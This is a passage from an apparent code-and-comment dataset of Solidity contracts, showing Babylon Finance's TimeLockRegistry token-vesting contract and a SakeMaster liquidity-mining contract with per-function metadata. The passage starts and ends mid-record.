checkTokenVested.team, checkTokenVested.vestingBegin, checkTokenVested.vestingEnd, checkTokenVested.lastClaim ); } function checkRegisteredDistribution(address address_) external view returns (uint256 amount) { return registeredDistributions[address_]; } }
/** * @title TimeLockRegistry * @notice Register Lockups for TimeLocked ERC20 Token BABL (e.g. vesting) * @author Babylon Finance * @dev This contract allows owner to register distributions for a TimeLockedToken * * To register a distribution, register method should be called by the owner. * claim() should be called only by the BABL Token smartcontract (modifier onlyBABLToken) * when any account registered to receive tokens make its own claim * If case of a mistake, owner can cancel registration before the claim is done by the account * * Note this contract address must be setup in the TimeLockedToken's contract pointing * to interact with (e.g. setTimeLockRegistry() function) */
NatSpecMultiLine
transferToOwner
function transferToOwner(uint256 amount) external onlyOwner returns (bool) { SafeERC20.safeTransfer(token, msg.sender, amount); return true; }
/** * PRIVILEGED GOVERNANCE FUNCTION. Recover tokens in Time Lock Registry smartcontract address by the owner * * @notice Send tokens from smartcontract address to the owner. * It might only apply after a cancellation of vested tokens * @param amount Amount to be recovered by the owner of the Time Lock Registry smartcontract from its balance * @return Whether or not it succeeded */
NatSpecMultiLine
v0.7.6+commit.7338295f
{ "func_code_index": [ 8076, 8242 ] }
3,688
TimeLockRegistry
contracts/token/TimeLockRegistry.sol
0xae171d3e9f8e755bb8547d4165fd79b148be45de
Solidity
TimeLockRegistry
contract TimeLockRegistry is Ownable { using LowGasSafeMath for uint256; using Address for address; using AddressArrayUtils for address[]; /* ============ Events ============ */ event Register(address receiver, uint256 distribution); event Cancel(address receiver, uint256 distribution); event Claim(address account, uint256 distribution); /* ============ Modifiers ============ */ modifier onlyBABLToken() { require(msg.sender == address(token), 'only BABL Token'); _; } /* ============ State Variables ============ */ // time locked token TimeLockedToken public token; /** * @notice The profile of each token owner under vesting conditions and its special conditions * @param receiver Account being registered * @param investorType Indicates whether or not is a Team member (true = team member / advisor, false = private investor) * @param vestingStarting Date When the vesting begins for such token owner * @param distribution Tokens amount that receiver is due to get */ struct Registration { address receiver; uint256 distribution; bool investorType; uint256 vestingStartingDate; } /** * @notice The profile of each token owner under vesting conditions and its special conditions * @param team Indicates whether or not is a Team member (true = team member / advisor, false = private investor) * @param vestingBegin When the vesting begins for such token owner * @param vestingEnd When the vesting ends for such token owner * @param lastClaim When the last claim was done */ struct TokenVested { bool team; bool cliff; uint256 vestingBegin; uint256 vestingEnd; uint256 lastClaim; } /// @notice A record of token owners under vesting conditions for each account, by index mapping(address => TokenVested) public tokenVested; // mapping from token owners under vesting conditions to BABL due amount (e.g. SAFT addresses, team members, advisors) mapping(address => uint256) public registeredDistributions; // array of all registrations address[] public registrations; // total amount of tokens registered uint256 public totalTokens; // vesting for Team Members uint256 private constant teamVesting = 365 days * 4; // vesting for Investors and Advisors uint256 private constant investorVesting = 365 days * 3; /* ============ Functions ============ */ /* ============ Constructor ============ */ /** * @notice Construct a new Time Lock Registry and gives ownership to sender * @param _token TimeLockedToken contract to use in this registry */ constructor(TimeLockedToken _token) { token = _token; } /* ============ External Functions ============ */ /* ============ External Getter Functions ============ */ /** * Gets registrations * * @return address[] Returns list of registrations */ function getRegistrations() external view returns (address[] memory) { return registrations; } /* =========== Token related Gov Functions ====== */ /** * PRIVILEGED GOVERNANCE FUNCTION * * @notice Register multiple investors/team in a batch * @param _registrations Registrations to process */ function registerBatch(Registration[] memory _registrations) external onlyOwner { for (uint256 i = 0; i < _registrations.length; i++) { register( _registrations[i].receiver, _registrations[i].distribution, _registrations[i].investorType, _registrations[i].vestingStartingDate ); } } /** * PRIVILEGED GOVERNANCE FUNCTION * * @notice Register new account under vesting conditions (Team, Advisors, Investors e.g. SAFT purchaser) * @param receiver Address belonging vesting conditions * @param distribution Tokens amount that receiver is due to get */ function register( address receiver, uint256 distribution, bool investorType, uint256 vestingStartingDate ) public onlyOwner { require(receiver != address(0), 'TimeLockRegistry::register: cannot register the zero address'); require( receiver != address(this), 'TimeLockRegistry::register: Time Lock Registry contract cannot be an investor' ); require(distribution != 0, 'TimeLockRegistry::register: Distribution = 0'); require( registeredDistributions[receiver] == 0, 'TimeLockRegistry::register:Distribution for this address is already registered' ); require(block.timestamp >= 1614553200, 'Cannot register earlier than March 2021'); // 1614553200 is UNIX TIME of 2021 March the 1st require(totalTokens.add(distribution) <= IERC20(token).balanceOf(address(this)), 'Not enough tokens'); totalTokens = totalTokens.add(distribution); // register distribution registeredDistributions[receiver] = distribution; registrations.push(receiver); // register token vested conditions TokenVested storage newTokenVested = tokenVested[receiver]; newTokenVested.team = investorType; newTokenVested.vestingBegin = vestingStartingDate; if (newTokenVested.team == true) { newTokenVested.vestingEnd = vestingStartingDate.add(teamVesting); } else { newTokenVested.vestingEnd = vestingStartingDate.add(investorVesting); } newTokenVested.lastClaim = vestingStartingDate; tokenVested[receiver] = newTokenVested; // emit register event emit Register(receiver, distribution); } /** * PRIVILEGED GOVERNANCE FUNCTION. Cancel distribution registration in case of mistake and before a claim is done * * @notice Cancel distribution registration * @dev A claim has not to be done earlier * @param receiver Address that should have it's distribution removed * @return Whether or not it succeeded */ function cancelRegistration(address receiver) external onlyOwner returns (bool) { require(registeredDistributions[receiver] != 0, 'Not registered'); // get amount from distributions uint256 amount = registeredDistributions[receiver]; // set distribution mapping to 0 delete registeredDistributions[receiver]; // set tokenVested mapping to 0 delete tokenVested[receiver]; // remove from the list of all registrations registrations.remove(receiver); // decrease total tokens totalTokens = totalTokens.sub(amount); // emit cancel event emit Cancel(receiver, amount); return true; } /** * PRIVILEGED GOVERNANCE FUNCTION. Cancel distribution registration in case of mistake and before a claim is done * * @notice Cancel already delivered tokens. It might only apply when non-completion of vesting period of Team members or Advisors * @dev An automatic override allowance is granted during the claim process * @param account Address that should have it's distribution removed * @return Whether or not it succeeded */ function cancelDeliveredTokens(address account) external onlyOwner returns (bool) { uint256 loosingAmount = token.cancelVestedTokens(account); // emit cancel event emit Cancel(account, loosingAmount); return true; } /** * PRIVILEGED GOVERNANCE FUNCTION. Recover tokens in Time Lock Registry smartcontract address by the owner * * @notice Send tokens from smartcontract address to the owner. * It might only apply after a cancellation of vested tokens * @param amount Amount to be recovered by the owner of the Time Lock Registry smartcontract from its balance * @return Whether or not it succeeded */ function transferToOwner(uint256 amount) external onlyOwner returns (bool) { SafeERC20.safeTransfer(token, msg.sender, amount); return true; } /** * PRIVILEGED GOVERNANCE FUNCTION. Claim locked tokens by the registered account * * @notice Claim tokens due amount. * @dev Claim is done by the user in the TimeLocked contract and the contract is the only allowed to call * this function on behalf of the user to make the claim * @return The amount of tokens registered and delivered after the claim */ function claim(address _receiver) external onlyBABLToken returns (uint256) { require(registeredDistributions[_receiver] != 0, 'Not registered'); // get amount from distributions uint256 amount = registeredDistributions[_receiver]; TokenVested storage claimTokenVested = tokenVested[_receiver]; claimTokenVested.lastClaim = block.timestamp; // set distribution mapping to 0 delete registeredDistributions[_receiver]; // decrease total tokens totalTokens = totalTokens.sub(amount); // register lockup in TimeLockedToken // this will transfer funds from this contract and lock them for sender token.registerLockup( _receiver, amount, claimTokenVested.team, claimTokenVested.vestingBegin, claimTokenVested.vestingEnd, claimTokenVested.lastClaim ); // set tokenVested mapping to 0 delete tokenVested[_receiver]; // emit claim event emit Claim(_receiver, amount); return amount; } /* ============ Getter Functions ============ */ function checkVesting(address address_) external view returns ( bool team, uint256 start, uint256 end, uint256 last ) { TokenVested storage checkTokenVested = tokenVested[address_]; return ( checkTokenVested.team, checkTokenVested.vestingBegin, checkTokenVested.vestingEnd, checkTokenVested.lastClaim ); } function checkRegisteredDistribution(address address_) external view returns (uint256 amount) { return registeredDistributions[address_]; } }
/** * @title TimeLockRegistry * @notice Register Lockups for TimeLocked ERC20 Token BABL (e.g. vesting) * @author Babylon Finance * @dev This contract allows owner to register distributions for a TimeLockedToken * * To register a distribution, register method should be called by the owner. * claim() should be called only by the BABL Token smartcontract (modifier onlyBABLToken) * when any account registered to receive tokens make its own claim * If case of a mistake, owner can cancel registration before the claim is done by the account * * Note this contract address must be setup in the TimeLockedToken's contract pointing * to interact with (e.g. setTimeLockRegistry() function) */
NatSpecMultiLine
claim
function claim(address _receiver) external onlyBABLToken returns (uint256) { require(registeredDistributions[_receiver] != 0, 'Not registered'); // get amount from distributions uint256 amount = registeredDistributions[_receiver]; TokenVested storage claimTokenVested = tokenVested[_receiver]; claimTokenVested.lastClaim = block.timestamp; // set distribution mapping to 0 delete registeredDistributions[_receiver]; // decrease total tokens totalTokens = totalTokens.sub(amount); // register lockup in TimeLockedToken // this will transfer funds from this contract and lock them for sender token.registerLockup( _receiver, amount, claimTokenVested.team, claimTokenVested.vestingBegin, claimTokenVested.vestingEnd, claimTokenVested.lastClaim ); // set tokenVested mapping to 0 delete tokenVested[_receiver]; // emit claim event emit Claim(_receiver, amount); return amount; }
/** * PRIVILEGED GOVERNANCE FUNCTION. Claim locked tokens by the registered account * * @notice Claim tokens due amount. * @dev Claim is done by the user in the TimeLocked contract and the contract is the only allowed to call * this function on behalf of the user to make the claim * @return The amount of tokens registered and delivered after the claim */
NatSpecMultiLine
v0.7.6+commit.7338295f
{ "func_code_index": [ 8640, 9746 ] }
3,689
TimeLockRegistry
contracts/token/TimeLockRegistry.sol
0xae171d3e9f8e755bb8547d4165fd79b148be45de
Solidity
TimeLockRegistry
contract TimeLockRegistry is Ownable { using LowGasSafeMath for uint256; using Address for address; using AddressArrayUtils for address[]; /* ============ Events ============ */ event Register(address receiver, uint256 distribution); event Cancel(address receiver, uint256 distribution); event Claim(address account, uint256 distribution); /* ============ Modifiers ============ */ modifier onlyBABLToken() { require(msg.sender == address(token), 'only BABL Token'); _; } /* ============ State Variables ============ */ // time locked token TimeLockedToken public token; /** * @notice The profile of each token owner under vesting conditions and its special conditions * @param receiver Account being registered * @param investorType Indicates whether or not is a Team member (true = team member / advisor, false = private investor) * @param vestingStarting Date When the vesting begins for such token owner * @param distribution Tokens amount that receiver is due to get */ struct Registration { address receiver; uint256 distribution; bool investorType; uint256 vestingStartingDate; } /** * @notice The profile of each token owner under vesting conditions and its special conditions * @param team Indicates whether or not is a Team member (true = team member / advisor, false = private investor) * @param vestingBegin When the vesting begins for such token owner * @param vestingEnd When the vesting ends for such token owner * @param lastClaim When the last claim was done */ struct TokenVested { bool team; bool cliff; uint256 vestingBegin; uint256 vestingEnd; uint256 lastClaim; } /// @notice A record of token owners under vesting conditions for each account, by index mapping(address => TokenVested) public tokenVested; // mapping from token owners under vesting conditions to BABL due amount (e.g. SAFT addresses, team members, advisors) mapping(address => uint256) public registeredDistributions; // array of all registrations address[] public registrations; // total amount of tokens registered uint256 public totalTokens; // vesting for Team Members uint256 private constant teamVesting = 365 days * 4; // vesting for Investors and Advisors uint256 private constant investorVesting = 365 days * 3; /* ============ Functions ============ */ /* ============ Constructor ============ */ /** * @notice Construct a new Time Lock Registry and gives ownership to sender * @param _token TimeLockedToken contract to use in this registry */ constructor(TimeLockedToken _token) { token = _token; } /* ============ External Functions ============ */ /* ============ External Getter Functions ============ */ /** * Gets registrations * * @return address[] Returns list of registrations */ function getRegistrations() external view returns (address[] memory) { return registrations; } /* =========== Token related Gov Functions ====== */ /** * PRIVILEGED GOVERNANCE FUNCTION * * @notice Register multiple investors/team in a batch * @param _registrations Registrations to process */ function registerBatch(Registration[] memory _registrations) external onlyOwner { for (uint256 i = 0; i < _registrations.length; i++) { register( _registrations[i].receiver, _registrations[i].distribution, _registrations[i].investorType, _registrations[i].vestingStartingDate ); } } /** * PRIVILEGED GOVERNANCE FUNCTION * * @notice Register new account under vesting conditions (Team, Advisors, Investors e.g. SAFT purchaser) * @param receiver Address belonging vesting conditions * @param distribution Tokens amount that receiver is due to get */ function register( address receiver, uint256 distribution, bool investorType, uint256 vestingStartingDate ) public onlyOwner { require(receiver != address(0), 'TimeLockRegistry::register: cannot register the zero address'); require( receiver != address(this), 'TimeLockRegistry::register: Time Lock Registry contract cannot be an investor' ); require(distribution != 0, 'TimeLockRegistry::register: Distribution = 0'); require( registeredDistributions[receiver] == 0, 'TimeLockRegistry::register:Distribution for this address is already registered' ); require(block.timestamp >= 1614553200, 'Cannot register earlier than March 2021'); // 1614553200 is UNIX TIME of 2021 March the 1st require(totalTokens.add(distribution) <= IERC20(token).balanceOf(address(this)), 'Not enough tokens'); totalTokens = totalTokens.add(distribution); // register distribution registeredDistributions[receiver] = distribution; registrations.push(receiver); // register token vested conditions TokenVested storage newTokenVested = tokenVested[receiver]; newTokenVested.team = investorType; newTokenVested.vestingBegin = vestingStartingDate; if (newTokenVested.team == true) { newTokenVested.vestingEnd = vestingStartingDate.add(teamVesting); } else { newTokenVested.vestingEnd = vestingStartingDate.add(investorVesting); } newTokenVested.lastClaim = vestingStartingDate; tokenVested[receiver] = newTokenVested; // emit register event emit Register(receiver, distribution); } /** * PRIVILEGED GOVERNANCE FUNCTION. Cancel distribution registration in case of mistake and before a claim is done * * @notice Cancel distribution registration * @dev A claim has not to be done earlier * @param receiver Address that should have it's distribution removed * @return Whether or not it succeeded */ function cancelRegistration(address receiver) external onlyOwner returns (bool) { require(registeredDistributions[receiver] != 0, 'Not registered'); // get amount from distributions uint256 amount = registeredDistributions[receiver]; // set distribution mapping to 0 delete registeredDistributions[receiver]; // set tokenVested mapping to 0 delete tokenVested[receiver]; // remove from the list of all registrations registrations.remove(receiver); // decrease total tokens totalTokens = totalTokens.sub(amount); // emit cancel event emit Cancel(receiver, amount); return true; } /** * PRIVILEGED GOVERNANCE FUNCTION. Cancel distribution registration in case of mistake and before a claim is done * * @notice Cancel already delivered tokens. It might only apply when non-completion of vesting period of Team members or Advisors * @dev An automatic override allowance is granted during the claim process * @param account Address that should have it's distribution removed * @return Whether or not it succeeded */ function cancelDeliveredTokens(address account) external onlyOwner returns (bool) { uint256 loosingAmount = token.cancelVestedTokens(account); // emit cancel event emit Cancel(account, loosingAmount); return true; } /** * PRIVILEGED GOVERNANCE FUNCTION. Recover tokens in Time Lock Registry smartcontract address by the owner * * @notice Send tokens from smartcontract address to the owner. * It might only apply after a cancellation of vested tokens * @param amount Amount to be recovered by the owner of the Time Lock Registry smartcontract from its balance * @return Whether or not it succeeded */ function transferToOwner(uint256 amount) external onlyOwner returns (bool) { SafeERC20.safeTransfer(token, msg.sender, amount); return true; } /** * PRIVILEGED GOVERNANCE FUNCTION. Claim locked tokens by the registered account * * @notice Claim tokens due amount. * @dev Claim is done by the user in the TimeLocked contract and the contract is the only allowed to call * this function on behalf of the user to make the claim * @return The amount of tokens registered and delivered after the claim */ function claim(address _receiver) external onlyBABLToken returns (uint256) { require(registeredDistributions[_receiver] != 0, 'Not registered'); // get amount from distributions uint256 amount = registeredDistributions[_receiver]; TokenVested storage claimTokenVested = tokenVested[_receiver]; claimTokenVested.lastClaim = block.timestamp; // set distribution mapping to 0 delete registeredDistributions[_receiver]; // decrease total tokens totalTokens = totalTokens.sub(amount); // register lockup in TimeLockedToken // this will transfer funds from this contract and lock them for sender token.registerLockup( _receiver, amount, claimTokenVested.team, claimTokenVested.vestingBegin, claimTokenVested.vestingEnd, claimTokenVested.lastClaim ); // set tokenVested mapping to 0 delete tokenVested[_receiver]; // emit claim event emit Claim(_receiver, amount); return amount; } /* ============ Getter Functions ============ */ function checkVesting(address address_) external view returns ( bool team, uint256 start, uint256 end, uint256 last ) { TokenVested storage checkTokenVested = tokenVested[address_]; return ( checkTokenVested.team, checkTokenVested.vestingBegin, checkTokenVested.vestingEnd, checkTokenVested.lastClaim ); } function checkRegisteredDistribution(address address_) external view returns (uint256 amount) { return registeredDistributions[address_]; } }
/** * @title TimeLockRegistry * @notice Register Lockups for TimeLocked ERC20 Token BABL (e.g. vesting) * @author Babylon Finance * @dev This contract allows owner to register distributions for a TimeLockedToken * * To register a distribution, register method should be called by the owner. * claim() should be called only by the BABL Token smartcontract (modifier onlyBABLToken) * when any account registered to receive tokens make its own claim * If case of a mistake, owner can cancel registration before the claim is done by the account * * Note this contract address must be setup in the TimeLockedToken's contract pointing * to interact with (e.g. setTimeLockRegistry() function) */
NatSpecMultiLine
checkVesting
function checkVesting(address address_) external view returns ( bool team, uint256 start, uint256 end, uint256 last ) { TokenVested storage checkTokenVested = tokenVested[address_]; return ( checkTokenVested.team, checkTokenVested.vestingBegin, checkTokenVested.vestingEnd, checkTokenVested.lastClaim ); }
/* ============ Getter Functions ============ */
Comment
v0.7.6+commit.7338295f
{ "func_code_index": [ 9802, 10272 ] }
3,690
SakeVoterCalc
contracts/SakeMaster.sol
0x44d84a9da47fd8f4a06ad66b197d1441fca53f92
Solidity
SakeMaster
contract SakeMaster is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of SAKEs // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accSakePerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accSakePerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. SAKEs to distribute per block. uint256 lastRewardBlock; // Last block number that SAKEs distribution occurs. uint256 accSakePerShare; // Accumulated SAKEs per share, times 1e12. See below. } // The SAKE TOKEN! SakeToken public sake; // Dev address. address public devaddr; // Block number when beta test period ends. uint256 public betaTestEndBlock; // Block number when bonus SAKE period ends. uint256 public bonusEndBlock; // Block number when mint SAKE period ends. uint256 public mintEndBlock; // SAKE tokens created per block. uint256 public sakePerBlock; // Bonus muliplier for 5~20 days sake makers. uint256 public constant BONUSONE_MULTIPLIER = 20; // Bonus muliplier for 20~35 sake makers. uint256 public constant BONUSTWO_MULTIPLIER = 2; // beta test block num,about 5 days. uint256 public constant BETATEST_BLOCKNUM = 35000; // Bonus block num,about 15 days. uint256 public constant BONUS_BLOCKNUM = 100000; // mint end block num,about 30 days. uint256 public constant MINTEND_BLOCKNUM = 200000; // The migrator contract. It has a lot of power. Can only be set through governance (owner). IMigratorChef public migrator; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping(uint256 => mapping(address => UserInfo)) public userInfo; // Record whether the pair has been added. mapping(address => uint256) public lpTokenPID; // Total allocation poitns. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when SAKE mining starts. uint256 public startBlock; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw( address indexed user, uint256 indexed pid, uint256 amount ); constructor( SakeToken _sake, address _devaddr, uint256 _sakePerBlock, uint256 _startBlock ) public { sake = _sake; devaddr = _devaddr; sakePerBlock = _sakePerBlock; startBlock = _startBlock; betaTestEndBlock = startBlock.add(BETATEST_BLOCKNUM); bonusEndBlock = startBlock.add(BONUS_BLOCKNUM).add(BETATEST_BLOCKNUM); mintEndBlock = startBlock.add(MINTEND_BLOCKNUM).add(BETATEST_BLOCKNUM); } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } require(lpTokenPID[address(_lpToken)] == 0, "SakeMaster:duplicate add."); uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push( PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accSakePerShare: 0 }) ); lpTokenPID[address(_lpToken)] = poolInfo.length; } // Update the given pool's SAKE allocation point. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; } // Set the migrator contract. Can only be called by the owner. function setMigrator(IMigratorChef _migrator) public onlyOwner { migrator = _migrator; } // Handover the saketoken mintage right. function handoverSakeMintage(address newOwner) public onlyOwner { sake.transferOwnership(newOwner); } // Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good. function migrate(uint256 _pid) public { require(address(migrator) != address(0), "migrate: no migrator"); PoolInfo storage pool = poolInfo[_pid]; IERC20 lpToken = pool.lpToken; uint256 bal = lpToken.balanceOf(address(this)); lpToken.safeApprove(address(migrator), bal); IERC20 newLpToken = migrator.migrate(lpToken); require(bal == newLpToken.balanceOf(address(this)), "migrate: bad"); pool.lpToken = newLpToken; } // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { uint256 _toFinal = _to > mintEndBlock ? mintEndBlock : _to; if (_toFinal <= betaTestEndBlock) { return _toFinal.sub(_from); }else if (_from >= mintEndBlock) { return 0; } else if (_toFinal <= bonusEndBlock) { if (_from < betaTestEndBlock) { return betaTestEndBlock.sub(_from).add(_toFinal.sub(betaTestEndBlock).mul(BONUSONE_MULTIPLIER)); } else { return _toFinal.sub(_from).mul(BONUSONE_MULTIPLIER); } } else { if (_from < betaTestEndBlock) { return betaTestEndBlock.sub(_from).add(bonusEndBlock.sub(betaTestEndBlock).mul(BONUSONE_MULTIPLIER)).add( (_toFinal.sub(bonusEndBlock).mul(BONUSTWO_MULTIPLIER))); } else if (betaTestEndBlock <= _from && _from < bonusEndBlock) { return bonusEndBlock.sub(_from).mul(BONUSONE_MULTIPLIER).add(_toFinal.sub(bonusEndBlock).mul(BONUSTWO_MULTIPLIER)); } else { return _toFinal.sub(_from).mul(BONUSTWO_MULTIPLIER); } } } // View function to see pending SAKEs on frontend. function pendingSake(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accSakePerShare = pool.accSakePerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 sakeReward = multiplier.mul(sakePerBlock).mul(pool.allocPoint).div(totalAllocPoint); accSakePerShare = accSakePerShare.add(sakeReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accSakePerShare).div(1e12).sub(user.rewardDebt); } // Update reward vairables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); if (multiplier == 0) { pool.lastRewardBlock = block.number; return; } uint256 sakeReward = multiplier.mul(sakePerBlock).mul(pool.allocPoint).div(totalAllocPoint); sake.mint(devaddr, sakeReward.div(15)); sake.mint(address(this), sakeReward); pool.accSakePerShare = pool.accSakePerShare.add(sakeReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } // Deposit LP tokens to SakeMaster for SAKE allocation. function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); uint256 pending = user.amount.mul(pool.accSakePerShare).div(1e12).sub(user.rewardDebt); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accSakePerShare).div(1e12); if (pending > 0) safeSakeTransfer(msg.sender, pending); pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from SakeMaster. function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accSakePerShare).div(1e12).sub(user.rewardDebt); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accSakePerShare).div(1e12); safeSakeTransfer(msg.sender, pending); pool.lpToken.safeTransfer(address(msg.sender), _amount); emit Withdraw(msg.sender, _pid, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount > 0, "emergencyWithdraw: not good"); uint256 _amount = user.amount; user.amount = 0; user.rewardDebt = 0; pool.lpToken.safeTransfer(address(msg.sender), _amount); emit EmergencyWithdraw(msg.sender, _pid, _amount); } // Safe sake transfer function, just in case if rounding error causes pool to not have enough SAKEs. function safeSakeTransfer(address _to, uint256 _amount) internal { uint256 sakeBal = sake.balanceOf(address(this)); if (_amount > sakeBal) { sake.transfer(_to, sakeBal); } else { sake.transfer(_to, _amount); } } // Update dev address by the previous dev. function dev(address _devaddr) public { require(msg.sender == devaddr, "dev: wut?"); devaddr = _devaddr; } }
// SakeMaster is the master of Sake. He can make Sake and he is a fair guy. // // Note that it's ownable and the owner wields tremendous power. The ownership // will be transferred to a governance smart contract once SAKE is sufficiently // distributed and the community can show to govern itself. // // Have fun reading it. Hopefully it's bug-free. God bless.
LineComment
add
function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } require(lpTokenPID[address(_lpToken)] == 0, "SakeMaster:duplicate add."); uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push( PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accSakePerShare: 0 }) ); lpTokenPID[address(_lpToken)] = poolInfo.length; }
// Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.
LineComment
v0.6.12+commit.27d51765
None
ipfs://5d4700996a40376e16d7d09f63c9d6b8ef633b28dd8203c5297833f9286dce20
{ "func_code_index": [ 3944, 4647 ] }
3,691
SakeVoterCalc
contracts/SakeMaster.sol
0x44d84a9da47fd8f4a06ad66b197d1441fca53f92
Solidity
SakeMaster
contract SakeMaster is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of SAKEs // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accSakePerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accSakePerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. SAKEs to distribute per block. uint256 lastRewardBlock; // Last block number that SAKEs distribution occurs. uint256 accSakePerShare; // Accumulated SAKEs per share, times 1e12. See below. } // The SAKE TOKEN! SakeToken public sake; // Dev address. address public devaddr; // Block number when beta test period ends. uint256 public betaTestEndBlock; // Block number when bonus SAKE period ends. uint256 public bonusEndBlock; // Block number when mint SAKE period ends. uint256 public mintEndBlock; // SAKE tokens created per block. uint256 public sakePerBlock; // Bonus muliplier for 5~20 days sake makers. uint256 public constant BONUSONE_MULTIPLIER = 20; // Bonus muliplier for 20~35 sake makers. uint256 public constant BONUSTWO_MULTIPLIER = 2; // beta test block num,about 5 days. uint256 public constant BETATEST_BLOCKNUM = 35000; // Bonus block num,about 15 days. uint256 public constant BONUS_BLOCKNUM = 100000; // mint end block num,about 30 days. uint256 public constant MINTEND_BLOCKNUM = 200000; // The migrator contract. It has a lot of power. Can only be set through governance (owner). IMigratorChef public migrator; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping(uint256 => mapping(address => UserInfo)) public userInfo; // Record whether the pair has been added. mapping(address => uint256) public lpTokenPID; // Total allocation poitns. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when SAKE mining starts. uint256 public startBlock; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw( address indexed user, uint256 indexed pid, uint256 amount ); constructor( SakeToken _sake, address _devaddr, uint256 _sakePerBlock, uint256 _startBlock ) public { sake = _sake; devaddr = _devaddr; sakePerBlock = _sakePerBlock; startBlock = _startBlock; betaTestEndBlock = startBlock.add(BETATEST_BLOCKNUM); bonusEndBlock = startBlock.add(BONUS_BLOCKNUM).add(BETATEST_BLOCKNUM); mintEndBlock = startBlock.add(MINTEND_BLOCKNUM).add(BETATEST_BLOCKNUM); } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } require(lpTokenPID[address(_lpToken)] == 0, "SakeMaster:duplicate add."); uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push( PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accSakePerShare: 0 }) ); 